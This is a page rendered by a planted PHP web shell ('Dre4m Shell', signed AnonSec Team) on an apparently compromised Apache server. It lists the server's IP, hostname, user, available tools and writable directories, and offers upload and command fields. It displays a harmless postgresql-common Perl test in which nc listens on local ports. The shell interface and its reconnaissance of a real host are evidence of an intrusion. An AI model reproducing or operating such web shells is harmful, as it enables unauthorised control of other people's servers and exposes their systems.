Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.15.25.44
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/cwd/usr/share/postgresql-common/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/cwd/usr/share/postgresql-common/t/006_next_free_port.t
# Check PgCommon's next_free_port()

use strict; 

use lib '.';
use PgCommon;

use lib 't';
use TestLib;

use Test::More tests => 5;

# test next_free_port(). We are intentionally using nc as an external tool,
# using perl would replicate what next_free_port is doing, and that would
# be a pointless test.
use IPC::Open2;
use Time::HiRes qw(usleep);
my @pids;
# no ports open
is (next_free_port, 5432, 'next_free_port is 5432');

# open a localhost ipv4 socket
push @pids, open2(\*CHLD_OUT, \*CHLD_IN, qw(nc -4 -l 127.0.0.1 5432));
usleep 2*$delay;
is (next_free_port, 5433, 'next_free_port detects localhost ipv4 socket');
# open a wildcard ipv4 socket
push @pids, open2(\*CHLD_OUT, \*CHLD_IN, qw(nc -4 -l 5433));
usleep 2*$delay;
is (next_free_port, 5434, 'next_free_port detects wildcard ipv4 socket');

SKIP: {
    $^V =~ /^v(\d+\.\d+)/; # parse perl version
    skip "perl <= 5.10 does not have proper IPv6 support", 2 if ($1 <= 5.10);
    skip "skipping IPv6 tests", 2 if ($ENV{SKIP_IPV6});

    # open a localhost ipv6 socket
    push @pids, open2(\*CHLD_OUT, \*CHLD_IN, qw(nc -6 -l ::1 5434));
    usleep 2*$delay;
    is (next_free_port, 5435, 'next_free_port detects localhost ipv6 socket');
    # open a wildcard ipv6 socket
    push @pids, open2(\*CHLD_OUT, \*CHLD_IN, qw(nc -6 -l 5435));
    usleep 2*$delay;
    is (next_free_port, 5436, 'next_free_port detects wildcard ipv6 socket');
}

# clean up
kill 15, @pids;

# vim: filetype=perl

Anon7 - 2022
AnonSec Team